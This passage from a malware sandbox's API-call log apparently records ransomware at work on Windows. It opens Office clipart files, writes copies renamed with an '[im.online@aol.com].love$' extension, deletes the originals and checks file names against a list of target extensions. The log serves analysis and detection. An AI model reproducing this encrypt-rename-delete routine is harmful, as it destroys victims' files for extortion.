dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.206] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17850) returned 1 [0247.206] CloseHandle (hObject=0x388) returned 1 [0247.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0247.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.207] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.207] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.208] GetLastError () returned 0x0 [0247.208] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0247.211] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0247.213] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.213] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.213] SetEndOfFile (hFile=0x4c8) returned 1 [0247.213] CloseHandle (hObject=0x4c8) returned 1 [0247.213] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.213] SetEndOfFile (hFile=0x388) returned 1 [0247.260] CloseHandle (hObject=0x388) returned 1 [0247.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0247.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.261] lstrlenW (lpString=".doc") returned 4 [0247.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.261] lstrlenW (lpString=".docx") returned 5 [0247.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.261] lstrlenW (lpString=".pdf") returned 4 [0247.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.261] lstrlenW (lpString=".xls") returned 4 [0247.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.261] lstrlenW (lpString=".xlsx") returned 5 [0247.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.261] lstrlenW (lpString=".ppt") returned 4 [0247.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.261] lstrlenW (lpString=".zip") returned 4 [0247.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.261] lstrlenW (lpString=".rar") returned 4 [0247.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString=".bz2") returned 4 [0247.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString=".7z") returned 3 [0247.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString=".dbf") returned 4 [0247.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString=".1cd") returned 4 [0247.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString=".jpg") returned 4 [0247.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString=".doc") returned 4 [0247.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString=".docx") returned 5 [0247.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.262] lstrlenW (lpString=".pdf") returned 4 [0247.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString=".xls") returned 4 [0247.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.262] lstrlenW (lpString=".xlsx") returned 5 [0247.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.262] lstrlenW (lpString=".ppt") returned 4 [0247.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.262] lstrlenW (lpString=".zip") returned 4 [0247.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.262] lstrlenW (lpString=".rar") returned 4 [0247.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.262] lstrlenW (lpString=".bz2") returned 4 [0247.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.263] lstrlenW (lpString=".7z") returned 3 [0247.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.263] lstrlenW (lpString=".dbf") returned 4 [0247.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.263] lstrlenW (lpString=".1cd") returned 4 [0247.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0247.263] lstrlenW (lpString=".jpg") returned 4 [0247.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.263] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.263] lstrlenW (lpString="FD00076_.WMF") returned 12 [0247.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.264] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11994) returned 1 [0247.264] CloseHandle (hObject=0x388) returned 1 [0247.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0247.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.265] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.265] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.266] GetLastError () returned 0x0 [0247.266] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0247.269] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0247.270] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.270] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.270] SetEndOfFile (hFile=0x4c8) returned 1 [0247.270] CloseHandle (hObject=0x4c8) returned 1 [0247.270] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.270] SetEndOfFile (hFile=0x388) returned 1 [0247.274] CloseHandle (hObject=0x388) returned 1 [0247.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0247.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.275] lstrlenW (lpString=".doc") returned 4 [0247.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.275] lstrlenW (lpString=".docx") returned 5 [0247.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.276] lstrlenW (lpString=".pdf") returned 4 [0247.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString=".xls") returned 4 [0247.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.276] lstrlenW (lpString=".xlsx") returned 5 [0247.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.276] lstrlenW (lpString=".ppt") returned 4 [0247.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.276] lstrlenW (lpString=".zip") returned 4 [0247.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.276] lstrlenW (lpString=".rar") returned 4 [0247.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString=".bz2") returned 4 [0247.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString=".7z") returned 3 [0247.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.276] lstrlenW (lpString=".dbf") returned 4 [0247.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.276] lstrlenW (lpString=".1cd") returned 4 [0247.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.276] lstrlenW (lpString=".jpg") returned 4 [0247.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.277] lstrlenW (lpString=".doc") returned 4 [0247.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString=".docx") returned 5 [0247.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.277] lstrlenW (lpString=".pdf") returned 4 [0247.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString=".xls") returned 4 [0247.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.277] lstrlenW (lpString=".xlsx") returned 5 [0247.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.277] lstrlenW (lpString=".ppt") returned 4 [0247.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.277] lstrlenW (lpString=".zip") returned 4 [0247.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.277] lstrlenW (lpString=".rar") returned 4 [0247.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString=".bz2") returned 4 [0247.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.277] lstrlenW (lpString=".7z") returned 3 [0247.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.278] lstrlenW (lpString=".dbf") returned 4 [0247.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.278] lstrlenW (lpString=".1cd") returned 4 [0247.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0247.278] lstrlenW (lpString=".jpg") returned 4 [0247.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.278] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.278] lstrlenW (lpString="FD00077_.WMF") returned 12 [0247.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.279] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=30240) returned 1 [0247.279] CloseHandle (hObject=0x388) returned 1 [0247.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0247.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.281] GetLastError () returned 0x0 [0247.281] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7620, lpOverlapped=0x0) returned 1 [0247.285] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7630, lpOverlapped=0x0) returned 1 [0247.286] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.286] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.286] SetEndOfFile (hFile=0x4c8) returned 1 [0247.287] CloseHandle (hObject=0x4c8) returned 1 [0247.287] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.287] SetEndOfFile (hFile=0x388) returned 1 [0247.291] CloseHandle (hObject=0x388) returned 1 [0247.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0247.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.634] lstrlenW (lpString=".doc") returned 4 [0247.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.634] lstrlenW (lpString=".docx") returned 5 [0247.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.634] lstrlenW (lpString=".pdf") returned 4 [0247.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.634] lstrlenW (lpString=".xls") returned 4 [0247.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.634] lstrlenW (lpString=".xlsx") returned 5 [0247.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.634] lstrlenW (lpString=".ppt") returned 4 [0247.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.634] lstrlenW (lpString=".zip") returned 4 [0247.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.635] lstrlenW (lpString=".rar") returned 4 [0247.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString=".bz2") returned 4 [0247.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString=".7z") returned 3 [0247.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.635] lstrlenW (lpString=".dbf") returned 4 [0247.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.635] lstrlenW (lpString=".1cd") returned 4 [0247.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.635] lstrlenW (lpString=".jpg") returned 4 [0247.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.635] lstrlenW (lpString=".doc") returned 4 [0247.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString=".docx") returned 5 [0247.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.635] lstrlenW (lpString=".pdf") returned 4 [0247.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.635] lstrlenW (lpString=".xls") returned 4 [0247.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.636] lstrlenW (lpString=".xlsx") returned 5 [0247.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.636] lstrlenW (lpString=".ppt") returned 4 [0247.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.636] lstrlenW (lpString=".zip") returned 4 [0247.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.636] lstrlenW (lpString=".rar") returned 4 [0247.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.636] lstrlenW (lpString=".bz2") returned 4 [0247.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.636] lstrlenW (lpString=".7z") returned 3 [0247.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.636] lstrlenW (lpString=".dbf") returned 4 [0247.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.636] lstrlenW (lpString=".1cd") returned 4 [0247.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0247.636] lstrlenW (lpString=".jpg") returned 4 [0247.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.637] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.637] lstrlenW (lpString="FD00306_.WMF") returned 12 [0247.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.664] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=46814) returned 1 [0247.665] CloseHandle (hObject=0x418) returned 1 [0247.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft 